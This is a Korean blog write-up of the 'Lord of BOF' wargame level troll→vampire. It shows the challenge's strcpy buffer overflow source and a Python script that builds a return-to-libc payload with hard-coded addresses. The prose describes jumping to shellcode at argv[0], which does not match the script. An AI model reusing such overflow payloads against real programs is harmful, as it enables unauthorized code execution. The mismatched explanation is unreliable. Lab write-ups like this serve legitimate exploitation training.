-
Lord of BOF - Challenge [9번] Troll -> VampireWARGAME/LORD OF BOF 2018. 7. 4. 18:32
[Summary]
1. 39행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.
2. argv[0] 위치에 쉘코드를 위치 시킬 수 있다.
3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[0] 의 주소로 변조하여 ShellCode를 실행시킨다.
4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.
[Sourcecode]
/* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
[Analysis]
소스코드를 보게 되면 39행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 이번 문제도 저번문제와 마찬가로 argv[0] 을 이용하여 exploit 을 진행 할 것이다.
Polymorphic Shellcode 와 관련된 내용은 http://blog.int80.kr/64 을 참고 하시길 바랍니다. 또한, 이전 문제와 페이로드가 똑같기 때문에 자세한 내용은 생략합니다.
먼저 bash2 를 실행 시키고 소프트 링크 파일을 실행 시켜 Core 파일을 생성합니다.
argv[0] 의 주소 값을 알아냅니다.
0xbffffbb3 주소가 argv[0] 의 주소이다. 하지만 './' 가 붙어있기 때문에 필자는 이 주소에 +2를 더한 0xbffffbb5 를 저장하였다.
이제 이를 기반으로 한 파이썬 스크립트를 작성하여 exploit 을 할 것이다.
[Exploit]
# -*- coding: utf-8 -*- import struct p = lambda x : struct.pack("<I", x) ret = 0xbffefb1c system = 0x40058ae0 binsh = 0x400fbff9 payload = "A"*44 + p(ret) payload = payload + p(system) + "B"*4 + p(binsh) payload = payload + "\xc3\x90\x90\x90" print payload
vampire : music world
[References]
'WARGAME > LORD OF BOF' 카테고리의 다른 글
Lord of BOF - Challenge [8번] Orge -> Troll (0) 2018.07.04 Lord of BOF - Challenge [7번] Darkelf -> Orge (0) 2018.07.04 Lord of BOF - Challenge [6번] Wolfman -> Darkelf (0) 2018.06.25 Lord of BOF - Challenge [5번] Orc -> Wolfman (0) 2018.06.24 Lord of BOF - Challenge [4번] Goblin -> Orc (0) 2018.06.21